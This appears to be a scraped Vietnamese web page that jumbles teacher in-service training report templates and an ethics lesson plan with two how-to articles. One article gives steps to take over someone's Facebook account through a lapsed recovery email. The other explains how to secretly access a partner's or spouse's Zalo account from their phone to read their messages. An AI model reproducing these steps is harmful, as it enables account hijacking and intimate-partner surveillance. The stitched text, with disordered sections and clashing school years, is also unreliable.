    c) Vận dụng: vận dụng khá gần với phần hoạt động tiếp nối của các bước lên lớp truyền thống song khác biết ở chỗ:

    NỘI DUNG 3: THIẾT KẾ KẾ HOẠCH BÀI HỌC THEO HƯỚNG TĂNG CƯỜNG GIÁO DỤC KĨ NĂNG SỐNG CHO HỌC SINH * Thiết kế và dạy thử nghiệm kế hoạch bài học tăng cường giáo dục KNS cho HS trong môn Đạo đức. . Môn Đạo đức (lớp 5)

    – Về thời điểm thực hiện: Vận dụng có thể ngay trong giờ học hoặc sau giờ học còn hoạt động tiếp nối là thực hiện sau giờ học.

    Đạo đức lớp 5 Em yêu Tổ quốc Việt Nam I. MỤC TIÊU

    – Về nội dung: Vận dụng là tổ chức cho HS thực hiện các hoạt động để vận dụng kiến thức, kĩ năng đã học trong những tình huống/bối cảnh mới hoặc tình huống thực tiễn. Còn hoạt động nối tiêp có thể như vậy hoặc chỉ có thể đơn thuần yêu cầu HS học bài, Làm bài tập trong sách giáo khoa…

    Phân tích, đánh giá một số kế hoạch bài học đã thiết kế:

    1. Những con sếu bằng giấy

    – Bài được thiết kế theo câu trúc quy định.

    – Hướng dẫn cụ thể, tỉ mỉ.

    – Các KNS được xác định phù hợp.

    – Hoạt động thực hành kĩ năng thể hiện sự cảm thông chia sẽ rất cụ thể và phù hợp.

    – Thiết kế không thật rõ mục tiêu và kết luận của các hoạt động dạy học.

    – việc giáo dục kĩ năng xác định giá trị cho HS chưa được làm rõ trong các giai đoạn của tiến trình dạy học, đặc biệt là trong giai đoạn thực hành và vận dụng.

    – Viết rõ các hoạt động dạy học với mục tiêu, cách thực hiện và kết luận cụ thể.

    – Bổ sung thêm các hoạt động dạy học để giáo dục kĩ năng xác định giá trị cho HS. Ví dụ: Tổ chức cho HS viết các thông điệp, các bài viết ngắn, bày tỏ ý kiến về tình yêu hòa bình, phản đối chiến tranh của trẻ em.

    2. Em yêu Tổ quốc Việt Nam

    -Một số hoạt động hướng dẫn còn chưa thật cụ thể, có thể gây khó khăn cho GV trong quá trình thực hiện.

    – GV ở một số vùng sâu, vùng xa, vùng chậm phát triển sẽ gặp khó khăn trong việc sưu tầm các thông tin, tư liệu về đất nước và con người Việt Nam.

    – Gợi ý cụ thể, chi tiết hơn một số hoạt động.

    – Cần cung cấp thêm một số tư liệu về đất nước và con người Việt Nam.

    Tìm hiểu cấu trúc kế hoạch bài học theo định hướng tăng cường giáo dục kĩ năng sống

    Học xong bài này HS có khả năng:

    II. CÁC KNS ĐƯỢC GIÁO DỤC TRONG BÀI

    – Biết Tổ quốc của em là Việt Nam, Tổ quốc em đang thay đổi từng ngày và đang hội nhập vào đời sống quốc tế.

    – Có hiểu biết phù hợp với lứa tuổi về lịch sử, văn hóa và kinh tế của Tổ quốc Việt Nam.

    – Có ý thức học tập, rèn luyện để góp phần xây dựng và bảo vệ đất nước.

    III. CÁC PHƯƠNG PHÁP/ KỸ THUẬT DẠY HỌC TÍCH CỰC

    – Yêu Tổ quốc Việt Nam, tự hào về truyền thống tốt đẹp của dân tộc, quan tâm đến sự phát triển của đất nước.

    – Kỹ năng xác định giá trị(tình yêu Tổ quốc).

    IV. PHƯƠNG TIỆN DẠY HỌC

    – Kỹ năng tìm kiếm và xử lý thông tin(về đất nước và con người Việt Nam).

    V. TIẾN TRÌNH DẠY HỌC Tiết 1 1. Khám phá * Hoạt động 1: HS nghe băng bài hát” Việt Nam-Tổ quốc tôi”

    – Kỹ năng trình bày suy nghĩ, ý tưởng(về đất nước và con người Việt Nam, về tình yêu Tổ quốc Việt Nam).

    – Kỹ thuật: Trình bày 1 phút

    * Hoạt động 2: Tìm hiểu-Hiểu biết của HS về Tổ quốc Việt Nam.

    Tranh ảnh, băng cát xét, đĩa hình, bài viết, bài thơ, bài hát về Tổ quốc Việt Nam và tình yêu Tổ quốc Việt Nam.

    GV bật băng cho HS cùng nghe băng bài hát Việt Nam-Tổ quốc tôi.

    – Kết luận: Bài hát nói về tình yêu Tổ quốc Việt Nam.

    – GV viết 2 từ Việt Nam lên trên bảng và nêu câu hỏi động não: Các em đã biết những gì về Tổ quốc Việt Nam của chúng ta?(Gợi ý: Có các danh lam thắng cảnh nào? Có các di sản nào được thế giới công nhận? Có các vị anh hùng dân tộc nào? Có các thành tựu phát triển về chính trị, kinh tế, văn hóa, giáo dục, khoa học-kỹ thuật, ngoại giao, tôn giáo…nào nổi bật? Nước ta còn những khó khăn nào?

    – HS suy nghĩ và phát triển nhanh, GV kẻ bảng và ghi tóm tắt ý kiến của HS qua từng nội dung.

    Mục tiêu:

    – HS biết được một số nét đặc trưng về Tổ quốc Việt Nam.

    – HS được rèn luyện kỹ năng xác định giá trị, kỹ năng xử lý thông tin, kỹ năng trình bày suy nghĩ, ý tưởng.

    Cách tiến hành:

    – GV yêu cầu HS tự đọc các thông tin ở trang 34, SGK đạo đức 5

    – GV giới thiệu thêm một số tranh ảnh, băng hình vế đất nước và con người Việt Nam.

    + Qua các thông tin trên em có cảm nghĩ như thế nào về đất nước và con người Việt Nam.

    + HS chúng ta cần làm gì để thể hiện tình yêu đối với Tổ quốc, để góp phần đưa đất nước vượt qua những khó khăn hiện nay?

    3. Thực hành * Hoạt động 4: HS làm bài tập 1, 2 SGK

    – GV nhận xét và kết luận:

    + Việt Nam là một đất nước tươi đẹp, có truyền thống văn hóa lâu đời và có truyền thống đấu tranh dựng nước và bảo vệ Tổ quốc đáng tự hào.

    + Đất nước ta đang đổi mới và phát triển từng ngày song vẫn còn là một nước nghèo và có nhiều khó khăn cần phải vượt qua.

    + Yêu Tổ quốc Việt Nam, các em cần cố gắng học tập, rèn luyện thật tốt để mai sau góp phần xây dựng Tổ quốc giàu mạnh.

    Mục tiêu:

    – HS biết được một số sự kiện lịch sử hào hùng của dân tộc, thêm tự hào về đất nước, con người Việt Nam.

    – HS được rèn luyện kỹ năng trình bày suy nghĩ, ý tưởng.

    Cách tiến hành:

    Công việc về nhà:

    – Các nhóm HS về nhà sưu tầm tranh ảnh, đĩa hình, bài viết, bài thơ, bài hát về đất nước và con người Việt Nam.

    – Chuẩn bị trình bày kết quả sưu tầm được trước lớp.

    Mục tiêu:

    – HS biết trình bày một số nét về đất nước, con người Việt Nam.

    – HS được rèn luyện kỹ năng tìm kiếm và sử lý thông tin, kỹ năng trình bày suy nghĩ, ý tưởng.

    * Hoạt động 6: Hát, đọc thơ về Tổ quốc Việt Nam.

    Cách tiến hành:

    – GV yêu cầu các nhóm HS trưng bày xung quanh lớp học các tư liệu các em đã sưu tầm, tìm hiểu được về đất nước và con người Việt Nam.

    – Cả lớp đi xem và nghe đại diện các nhóm-trong vai các hướng dẫn viên du lịch trình bày(kỹ thuật trình bày 1 phút).

    Kết luận: GV nhận xét và kết luận về kết quả sưu tầm, tìm hiểu của các nhóm.

    Mục tiêu: HS biết thể hiện tình yêu Tổ quốc qua các bài thơ, bài hát.

    Cách tiến hành:

    Nội dung chi tiết bài thu hoạch BDTX năm học 2022 – 2022 như sau: BÀI THU HOẠCHNăm học 2022-2019

    Bồi dưỡng thường xuyên của giáo viên ……….

    – Một HS sẽ đóng vai người dẫn chương trình, giới thiệu các tiết mục.

    – Bình chọn các tiết mục hay nhất/ ấn tượng nhất/ huy động được nhiều người tham gia nhất.

    – Kết thúc tiết học: Cả lớp cùng đứng lên vừa làm động tác phụ họa, vừa hát theo băng bài hát Việt Nam-Tổ quốc tôi.

    – Họ tên giáo viên: ……………………………………………………………Năm sinh:……………………………..

    – Tổ chuyên môn:…………………………………………………………………………………………………………..

    – Trình độ chuyên môn: ……………………………………………..Môn đào tạo:………………………………..

    * Nội dung được học tập và bồi dưỡng trong suốt năm học: ………………………………………………

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    * Tên Môđun tự nghiên cứu:…………………………………………………………………………………………..

    2. Thời gian bồi dưỡng:

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    3. Những kiến thức và kỹ năng cá nhân tiếp thu được:

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    Từ ngày ….. tháng …. năm ………

    đến ngày …… tháng ……năm …….

    4. Thầy (Cô) đã vận dụng kiến thức BDTX vào hoạt động dạy học và giáo dục như thế nào? (nêu rõ các nội dung vận dụng vào thực tế và cách thức vận dụng)

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    5. Những nội dung khó và những đề xuất về cách thức tổ chức bồi dưỡng nhằm giải quyết những nội dung khó này (ghi rõ từng nội dung, đơn vị kiến thức khó, ý kiến đề xuất cho những nội dung khó nêu trên):

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    6. Tự đánh giá (nêu rõ sau khi bồi dưỡng bản thân đã tiếp thu và vận dụng được vào thực tiễn công tác được bao nhiêu % so với yêu cầu và kế hoạch)

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    Kết quả đánh giá, xếp loại BDTX của giáo viên năm học 2022-2019:

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …., ngày …. tháng …. năm 2022 HIỆU TRƯỞNG… III. NỘI DUNG, THỜI LƯỢNG BỒI DƯỠNG 1. Khối kiến thức bắt buộc: Nội dung 1: Đáp ứng yêu cầu thực hiện nhiệm vụ năm học bậc THCS

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    …………………………………………………………………………………………………………………………………..

    – Loại TB: đạt từ 5 đến dưới 7 điểm, không có điểm thành phần nào dưới 5 điểm;

    – Loại Khá: đạt từ 7 đến dưới 9 điểm, không có điểm thành phần nào dưới 6 điểm;

    Nội dung 2: * Khối kiến thức do ngành bồi dưỡng trong năm học:

    – Loại Giỏi: đạt từ 9 đến 10 điểm, không có điểm thành phần nào dưới 7 điểm.

    – Thời lượng: 30 tiết/năm học/giáo viên.

    – Nội dung:

    – Nội dung: Học tập bồi dưỡng chính trị, thời sự, nghị quyết, chính sách của Đảng, Nhà nước như: Văn kiện Đại hội đại biểu toàn quốc lần thứ XII của Đảng; văn kiện Đại hội đại biểu Đảng bộ thành phố Hồ Chí Minh lần thứ X; Nghị quyết của Đảng, của Thành ủy: Bao gồm tổng quát về nhiệm vụ kinh tế xã hội, đi sâu về quan điểm đường lối phát triển giáo dục và đào tạo; Tình hình phát triển kinh tế – xã hội và Giáo dục-Đào tạo; Chỉ thị nhiệm vụ năm học 2022-2018 của Bộ Giáo dục và Đào tạo; các nội dung về đáp ứng yêu cầu thực hiện nhiệm vụ năm học của Bộ Giáo dục và Đào tạo; các văn bản chỉ đạo của Bộ Giáo dục và Đào tạo thực hiện trong năm học 2022-2018.

    2. Khối kiến thức tự chọn: Nội dung bồi dưỡng 3 gồm các nội dung sau:

    Thực hiện tốt Nghị quyết số 29-NQ/TW ngày 04/11/2013 của Ban Chấp hành Trung ương về đổi mới căn bản, toàn diện giáo dục và đào tạo và Nghị quyết số 88/2014/QH13 ngày 28/11/2014 của Quốc hội về đổi mới chương trình, sách giáo khoa giáo dục phổ thông; Quyết định số 404/QĐ-TTg ngày 27/3/2015 của Thủ tướng Chính phủ về phê duyệt Đề án đổi mới chương trình, sách giáo khoa giáo dục phổ thông.

    Chú trọng việc đổi mới dạy học và kiểm tra đánh giá theo hướng phát triển năng lực học sinh và vận dụng thực tiễn.

    – Đáp ứng yêu cầu thực hiện nhiệm vụ phát triển giáo dục địa phương theo năm học (bao gồm cả nội dung bồi dưỡng do các dự án thực hiện)

    – Thời lượng: 30 tiết/năm học/giáo viên.

    • Dạy học theo định hướng phát triển năng lực học sinh: Đổi mới nội dung, phương thức đánh giá học sinh phù hợp với các phương pháp và kỹ thuật dạy học tích cực nhằm phát huy tính tích cực, chủ động, sáng tạo và rèn luyện phương pháp tự học của học sinh.
    • Dạy học phát triển năng lực học sinh theo mô hình trường học mới.
    • Tập huấn đổi mới sinh hoạt tổ chuyên môn theo hướng nghiên cứu bài học.
    • Khai thác thiết bị dạy học phục vụ đổi mới phương pháp dạy học, bồi dưỡng kỹ năng ứng dụng công nghệ thông tin, việc sử dụng bảng tương tác.
    • Hướng dẫn giáo viên nhập điểm, thực hiện Sổ gọi tên ghi điểm điện tử từ Cổng thông tin điện tử.
    • Bồi dưỡng năng lực kiểm tra hoạt động giáo dục và thanh tra hoạt động sư phạm của giáo viên.
    • Đổi mới đề thi học sinh giỏi, thi tuyển sinh vào lớp 10 THPT.
    • Giáo dục các kỹ năng trong trường học.
    • Đổi mới phương pháp dạy học của các bộ môn.
    • Khai thác thiết bị dạy học phục vụ đổi mới phương pháp dạy học.
    • Bồi dưỡng năng lực kiểm tra hoạt động giáo dục và thanh tra hoạt động sư phạm của nhà giáo.
    • Bồi dưỡng về công tác thi đua, khen thưởng.
    • Bồi dưỡng chương trình Giáo dục Pháp luật.
    • Giáo viên tự lựa chọn thêm các module bồi dưỡng theo Thông tư số 31/2011/ TT-BGDĐT ngày 08/8/2011 của Bộ GD&ĐT: Từ Module THCS1 đến Module THCS 41.
    • Tập huấn giáo viên THCS về đổi mới sinh hoạt tổ chuyên môn theo hướng nghiên cứu bài học.

    --- Bài cũ hơn ---

  • Khóa Học Autocad 3D Miễn Phí
  • Giáo Trình Autocad 2022 3D Cơ Bản
  • Học Autocad Dễ Dàng Bằng Các Trợ Giúp, Hướng Dẫn Sử Dụng Autocad Đã Việt Hóa
  • Hướng Dẫn Học Photoshop Cs6 Cho Người Mới Bắt Đầu
  • Bán Báu Vật Cf Giá Rẻ, Uy Tín Nhất Việt Nam
  • Hack Nick Facebook Có Khó Không? Cách Hack Nick Facebook

    --- Bài mới hơn ---

  • Những Lý Do Số Like Facebook Bị Giảm Và Cách Khắc Phục 2022
  • Ứng Dụng Trao Đổi Like Kiếm 500K Mỗi Tuần Trên Facebook
  • Hướng Dẫn Kiếm Tiền Miễn Phí Hàng Triệu Đồng Với Golike
  • Hướng Dẫn Mở Khóa Facebook Bị Vô Hiệu Hóa, Đổi Tên Facebook, Mở Khóa Tên Giả, Xác Minh Danh Tính, Mở Khóa Mạo Danh
  • Mở Khóa Khi Facebook Bắt Xác Minh Danh Tính
  • Làm sao để hack nick Facebook?

    Bước 1: Tiến hành lấy email của tài khoản facebook cần hack

    Để có thể tiến hành hack 1 tài khoản facebook, đầu tiên bạn cần có địa chỉ email của tài khoản cần hack. Trong trường hợp người dùng đó để hiển thị email công khai thì bạn có thể lấy được dễ dàng ở mục Giới thiệu trên trang cá nhân của người dùng đó.

    Tuy nhiên nếu họ để ẩn email, thì bạn có thể tiến hành lấy email bằng cách tạo một tài khoản email mới. Sau đó tại giao diện của tài khoản mới lập bạn sẽ chọn mục “Nhập Danh bạ” rồi chọn Facebook để add tất cả các địa chỉ email bạn bè trên facebook của bạn.

    Bước 1: Tiến hành lấy email của tài khoản facebook cần hack

    Chờ 1 lúc, các địa chỉ email này sẽ hiển thị và bạn chỉ cần di chuột để tìm kiếm email của người dùng bạn muốn hack là được.

    Bước 2: Kiểm tra xem địa chỉ email của người dùng còn khả dụng hay không

    Sau khi đã lấy được địa chỉ email của tài khoản Facebook muốn hack, bạn cần kiểm tra xem email đó còn khả dụng hay không. Chỉ khi email này không khả dụng bạn mới có thể hack được facebook thành công.

    Để kiểm tra bạn chỉ cần mở Outlook rồi nhập địa chỉ email đó rồi điền 1 mật khẩu bất kỳ. Khi nhận được thông báo “tài khoản không tồn tại” thì hãy đến bước tiếp theo. Còn nếu thông báo là sai địa chỉ email hay mật khẩu thì bạn không thể hack facebook theo cách này.

    Bước 2: Kiểm tra xem địa chỉ email của người dùng còn khả dụng hay không

    Hoàn tất 2 bước trên, chúng ta sẽ tiến hành hack nick Facebook của người dùng bằng các thao tác sau:

    • Tạo một tài khoản email mới với hotmail

    Tạo tài khoản email mới và liên kết với email mà bạn đã lấy được từ các bước trên

      Truy cập Facebook. com và yêu cầu lấy lại mật khẩu chuyển đến email liên kết (email bạn vừa tạo)

    Tiến hành lấy mật khẩu facebook của tài khoản cần hack

      Bạn sẽ đặt lại mật khẩu cho tài khoản cần hack đó hoặc xóa bỏ nó (tùy ý).

    Đây là 1 trong những thao tác hack facebook đơn giản nhất tuy nhiên tỷ lệ thành công của nó cũng không cao khi mà hiện nay mọi người thường sử dụng email “chính chủ” nên không dễ lấy mật khẩu như thế này. Tuy nhiên nếu các hacker thực thụ muốn hack facebook họ sẽ có nhiều cách (rất phức tạp nhưng 100%thành công) để thực hiện. Vì vậy thay vì tìm hiểu quá nhiều về cách hack tài khoản, bạn nên học cách bảo vệ tài khoản của mình nhiều hơn.

    Hướng dẫn bảo vệ tài khoản facebook khỏi bị hack

    Để giảm thiểu nguy cơ bị hack mất tài khoản Facebook, bạn có thể bật xác thực tài khoản 2 lớp. Cụ thể:

    Đầu tiên, bạn hãy đăng nhập vào tài khoản Facebook của mình. Sau đó, nhấn chọn biểu tượng mũi tên mở rộng ở góc phải phía trên giao diện và nhấn chọn Cài đặt.

    Bước 2: Xác nhận số điện thoại di động của bạn

    Lúc này hai yếu tố xác thực sẽ hiển thị bạn sẽ chọn phương thức bảo mệt phù hợp và điền thông tin xác thực được yêu cầu là hoàn tất. Gia diện sau khi hoàn tất sẽ có dạng như sau:

    Giao diện sau khi bạn đã bật xác thực 2 yếu tố

    --- Bài cũ hơn ---

  • Cách Hack Follow Facebook, Hack Sub, Tăng Follow Giá 120Đ An Toàn 03/2021
  • Tăng Like Bài Viết Dự Thi
  • Top 5 Phần Mềm Hack Wifi Cho Laptop Thành Công Chỉ Trong Chớp Mắt
  • Hướng Dẫn Cách Tăng Like Ảnh Facebook Cực Đơn Giản Mà Hiệu Quả
  • Làm Thế Nào Để Hack Free Fire? Bí Mật Tốt Nhất Được Giữ Bí Mật
  • Cách Hack Nick Zalo Của Người Khác Bằng Điện Thoại, Máy Tính

    --- Bài mới hơn ---

  • Các Cách Hack Rip Nick Zalo Và Cách Phòng Tránh.
  • Lmht: Thanh Niên Hack Nick, Ngang Nhiên Rao Bán Tài Khoản Của Bm Archie
  • Cách Hack Tài Khoản Facebook Bằng Code
  • Cảm Thấy Sekiro Quá Khó? Có Ngay Bản Mod Giúp Mọi Thứ Dễ Thở Hơn
  • Hack Pirate Kings V7.3.5 Full Lượt Quay
  • Thật ra mà nói nếu gọi là Hack Nick zalo thì cũng không đúng.. Vì Zalo là mạng xã hội lớn nhất hiện nay về độ bảo mật tin nhắn cũng như số điện thoại.. Zalo thuộc phần mềm của VNG nên không thể có phần mềm thứ ba can thiệp vào để cho các bạn dễ dàng hack được.

    Bài viết sau đây chúng tôi xin gửi đến các bạn các cách hack mật khẩu và nick zalo của người khác khi bạn cầm được máy điện thoại hoặc bằng những thủ thuật quét QPR trên laptop dễ dàng nhất…

    1/ Lý do vì sao bạn muốn có nick zalo của người khác

    Cái gì cũng có nguyên nhân của nó phải không các bạn.. Mình biết những bạn đang đọc bài viết này chắc chắn là sẽ gặp trục trặc trong tình yêu, cuộc sống vợ chồng nên bạn muốn hack nick zalo của người yêu – vợ hoặc chồng của mình để xem ông , anh, em hay vợ mình có nhắn tin với ai ko

    • Xem gấu, người yêu có tán tỉnh nhắn tin tình tứ với ai không
    • Xem chồng, vợ mình có tâm sự với người lạ hay không
    • Chọc gấu hoặc người yêu một phen hú vía
    • Xem thử có nói chuyện bậy bạ, chát xxx hay quét quanh đây hay không

    2/ Cách hack mật khẩu nick zalo của người khác

    Ở đây có 2 cách đơn giản để các bạn có thể đăng nhập và biết được mật khẩu zalo của người khác 1 cách dễ dàng

    Ở cách này khi đã xác định được điện thoại này có số điện thoại đăng ký nick zalo thì bạn làm sao phải mượn hoăc cầm được điện thoại của bạn gái, trai hay vợ chồng mình và chờ cho người đó không để ý bạn soạn cú pháp như sau: TT MOKHOA ZALO gửi 8785

    Sau khi đã có được số điện thoại và pass thì các bạn có thể đăng nhập vào và xem trộm tin nhắn mà thôi..

    • Có cài đặt Zalo trên PC máy tính của bạn
    • Tài khoản Zalo của người yêu, vợ chồng đang đăng nhập

    Bước 1: Đầu tiên là các bạn phải có phần mềm Zalo và cài đặt trên máy tính

    • Truy cập vào trang web: https://zalo.me/pc
    • Chọn tải Zalo cho Window
    • Sau khi tải về thì cài đặt và khởi động laị máy
    • OK đã cài đặt thành công
    • Bật máy tính và khởi động hệ thống Zalo chạy
    • Mượn điện thoại và đi tới gần máy tính của bạn
    • Tranh thủ người yêu, bạn gái hoặc vợ chồng không để ý bạn vào Zalo sẽ có chỗ quét mã QR
    • Tại màn hình đăng nhập trên máy tính, các bạn chuyển sang tab VỚI MÃ QR để lựa chọn cách đăng nhập tài khoản Zalo bằng quét mã QR. Di chuyển màn hình camera điện thoại đến vùng chưa mã QR trên máy tính để quét sao cho khớp mã QR vào giữa khung hình.Và ngay lập tức, trên màn hình điện thoại hiển thị thông báo bạn có muốn đăng nhập tài khoản Zalo vào thiết bị này không? Nhấn Đăng nhập để chấp nhận.

    ….

    Như vậy là qua bài viết này mình đã hướng dẫn cho các bạn Cách hack nick zalo bằng điện thoại, máy tính của người khác một cách cơ bản và đơn giản nhất. Mình cũng có lời khuyên chân thành 1 lần nữa là Hack mật khẩu và xem trộm tin nhắn người yêu mình cũng rất dở ( trừ những trường hợp mất niềm tin và cần chứng thực thì mình không nói) Vì ai cung có cuộc sống riêng tư và Zalo là mạng xã hội nên sẽ có rất nhiều loại thành phần khác nhau .. Bede có, trai giả gái có, gái có, bệnh có… nên các bạn làm gì làm đừng để gấu hoặc vợ chồng mình biết là mệ t đấy…

    Từ khóa tìm kiếm: hack zalo bằng mã qr, cách biết mật khẩu zalo, xem trộm zalo, đọc trộm zalo, dò mật khẩu zalo, đăng nhập zalo bằng mã qr

    --- Bài cũ hơn ---

  • Tải Game Megaman X4 Cho Pc Full Hướng Dẫn Cài Đặt Chi Tiết
  • Cách Lấy Giáp Bí Mật Trong Megaman X5, Lấy Black Zero, Lấy Ultimate X
  • Cách Chơi Megaman X4 Trên Máy Tính
  • Tải Monster Legends Hack V10.0.2 (99999 Gems, Vô Hạn Tiền, 3 Sao)
  • Tải Monster Legends Mod Apk 10.0.1 (Hack Full Tiền, Kim Cương)
  • Bài Thu Hoạch Bồi Dưỡng Thường Xuyên Của Giáo Viên 2022

    --- Bài mới hơn ---

  • Hack Avatar Star Miễn Phí 9/2014
  • Clash Of Clans Hack: Ưu Điểm Và Hướng Dẫn Cách Tải Về Máy
  • Cách Hack Fifa Online 3 Miễn Phí Chắc Chắn Thành Công 100%
  • Mách Bạn Cách Hack Game Bắn Cá Ăn Xu Hái Ra Tiền Nhanh Chóng
  • Hack Kim Cương Clash Of Clans ( Gem ) 2022
  • Bài thu hoạch BDTX tiểu học

    Bài thu hoạch bồi dưỡng thường xuyên của giáo viên

    1. Nội dung bài thu hoạch bồi dưỡng thường xuyên của giáo viên

    Chương trình bồi dưỡng thường xuyên của giáo viên chia ra 3 chương trình bồi dưỡng chính cho các giáo viên, cụ thể nội dung và thời lượng tối thiểu yêu cầu như sau:

    Nội dung chương trình 1: Cập nhật kiến thức, kỹ năng chuyên ngành đáp ứng yêu cầu thực hiện nhiệm vụ năm học đối với cấp học của giáo dục phổ thông. Mỗi giáo viên cần đáp ứng thời lượng khoảng 01 tuần/năm học (khoảng 40 tiết/năm học)

    Nội dung chương trình 2: Cập nhật kiến thức, kỹ năng chuyên ngành thực hiện nhiệm vụ phát triển giáo dục phổ thông theo từng thời kỳ của mỗi địa phương. Mỗi giáo viên cần đáp ứng thời lượng khoảng 01 tuần/năm học (khoảng 40 tiết/năm học).

    Nội dung Chương trình 3: Phát triển năng lực nghề nghiệp theo yêu cầu vị trí việc làm. Mỗi giáo viên cần đáp ứng thời lượng khoảng 01 tuần/năm học (40 tiết/năm học).

    2. Mẫu bài thu hoạch bồi dưỡng thường xuyên giáo viên 2022 số 1

    BÀI THU HOẠCH BỒI DƯỠNG THƯỜNG XUYÊN Năm học………….. I. THÔNG TIN CÁ NHÂN

    1. Họ và tên: ………………………………………………………. Giới tính: ………………..

    2. Ngày tháng năm sinh: …………………….. Năm vào ngành giáo dục: ……………

    3. Trình độ chuyên môn: ……………………..

    4. Chức vụ: ……………………………………

    5. Nhiệm vụ được phân công: …………………………………………………………………….

    II. NỘI DUNG THU HOẠCH BDTX NĂM HỌC ………… (Nêu đủ 04 module nghiên cứu, học tập) III. ĐỀ XUẤT NỘI DUNG HỌC TẬP NĂM HỌC 2022 – 2022 ………., ngày tháng năm 2022 NGƯỜI VIẾT (Ký, ghi rõ họ tên) 1. Giáo viên tự đánh giá, xếp loại: 2. Ban Chỉ đạo đánh giá, xếp loại: ………., ngày…….. tháng…….. năm 2022 HIỆU TRƯỞNG (theo các tiêu chí sau) BÀI THU HOẠCH Bồi dưỡng thường xuyên giáo viên Năm học ……….. (ghi mã module, tên của 04 module trong tài liệu BDTX đối với nội dung 3).

    1. NỘI DUNG BỒI DƯỠNG THƯỜNG XUYÊN ( Trình bày việc học tập và thực hiện các nội dung bồi dưỡng thường xuyên dựa trên kế hoạch BDTX của cá nhân đã được Hiệu trưởng phê duyệt: Đạt kết quả như thế nào, rút kinh nghiệm được gì?)

    3. Mẫu bài thu hoạch bồi dưỡng thường xuyên giáo viên 2022 số 2

    Họ và tên: …………………………………………………………

    Chức vụ công tác: Giáo viên

    Trình độ đào tạo: ĐHSP

    Đơn vị công tác: Trường TH……………………………….

    Công việc được giao: Dạy HĐGD Mỹ thuật Khối 3,4,5; HĐGD Chủ điểm Khối 3,4 (Học kỳ I); HĐGD thể chất lớp 1B,3B,4C (Học kỳ 2); HĐGD Chủ điểm lớp 3B; Đạo đức 1B.

    Thực hiện kế hoạch BDTX của cá nhân năm học 2022-2019, trong quá trình học tập, tôi thu hoạch được kết quả như sau :

    PHẦN I: MODULE 15 MỘT SỐ PHƯƠNG PHÁP DẠY HỌC TÍCH CỰC Ở TIỂU HỌC I. Khái niệm và các dấu hiệu đặc trưng cúa dạy học tích cực 1. Khái niệm phương pháp dạy học tích cực:

    Nội dung 3: Căn cứ vào quy chế bồi dưỡng thường xuyên giáo viên tiểu học để lựa chọn nội dung (mô đun) bồi dưỡng sát thực, phù hợp với đặc điểm tình hình nhà trường, đối tượng học sinh và yêu cầu về nâng cao nghiệp vụ sư phạm. Bản thân chọn 4 mô đun sau:

    – Modul TH 15: Một số phương pháp dạy học tích cực ở tiểu học.

    – Modul TH16: Một số kỹ thuật dạy học tích cực ở tiểu học. – ModulTH 39: Giáo dục kĩ năng sống cho học sinh tiểu học qua các môn học. – Modul TH40: Thực hành giáo dục kĩ năng sống trong một số môn học ở tiểu học.

    2. Các dấu hiệu đặc trưng của các phương pháp dạy học tích cực. a. Dạy và học thông qua tổ chức các hoạt động học tập của học sinh.

    Phương pháp dạy học tích cực là một thuật ngữ rút gọn, được dùng ở nhiều nước để chỉ những phương pháp giáo dục, dạy học theo hướng phát huy tính tích cực, chủ động, sáng tạo của người học.

    b. Dạy và học chú trọng rèn luyện phương pháp tự học.

    “Tích cực” trong PPDH – tích cực được dùng với nghĩa là hoạt động, chủ động, PPDH tích cực hướng tới việc hoạt động hóa, tích cực hóa hoạt động nhận thức của người học, nghĩa là tập trung vào phát huy tính tích cực của người học chứ không phải là tập trung vào phát huy tính tích cực của người dạy, tuy nhiên để dạy học theo phương pháp tích cực thì giáo viên phải nỗ lực nhiều so với dạy theo phương pháp thụ động.

    Trong đổi mới phương pháp dạy học phải có sự hợp tác cả của thầy và trò, sự phối hợp nhịp nhàng hoạt động dạy với hoạt động học thì mới thành công.

    c. Tăng cường học tập cá thể, phối hợp với học tập hợp tác.

    Trong phương pháp dạy học tích cực, người học – đối tượng của hoạt động “dạy”, đồng thời là chủ thể của hoạt động “học” – được cuốn hút vào các hoạt động học tập do giáo viên tổ chức và chỉ đạo, thông qua đó tự lực khám phá những điều mình chưa rõ chứ không phải thụ động tiếp thu những tri thức đã được giáo viên sắp đặt. Dạy theo cách này thì giáo viên không chỉ giản đơn truyền đạt tri thức mà còn hướng dẫn hành động. Chương trình dạy học phải giúp cho từng học sinh biết hành động và tích cực tham gia các chương trình hành động của cộng đồng.

    Phương pháp tích cực xem việc rèn luyện phương pháp học tập cho học sinh không chỉ là một biện pháp nâng cao hiệu quả dạy học mà còn là một mục tiêu dạy học.

    Trong một lớp học mà trình độ kiến thức, tư duy của học sinh không thể đồng đều tuyệt đối thì khi áp dụng phương pháp tích cực buộc phải chấp nhận sự phân hóa về cường độ, tiến độ hoàn thành nhiệm vụ học tập, nhất là khi bài học được thiết kế thành một chuỗi công tác độc lập.

    Trong dạy học, việc đánh giá học sinh không chỉ nhằm mục đích nhận định thực trạng và điều chỉnh hoạt động học của trò mà còn đồng thời tạo điều kiện nhận định thực trạng và điều chỉnh hoạt động dạy của thầy.

    II. Một số phương pháp dạy học tích cực cần phát triển ở trường Tiểu học 1). Phương pháp đặt và giải quyết vấn đề.

    Việc kiểm tra, đánh giá không thể dừng lại ở yêu cầu tái hiện các kiến thức, lặp lại các kĩ năng đã học mà phải khuyến khích trí thông minh, óc sáng tạo trong việc giải quyết những tình huống thực tế.

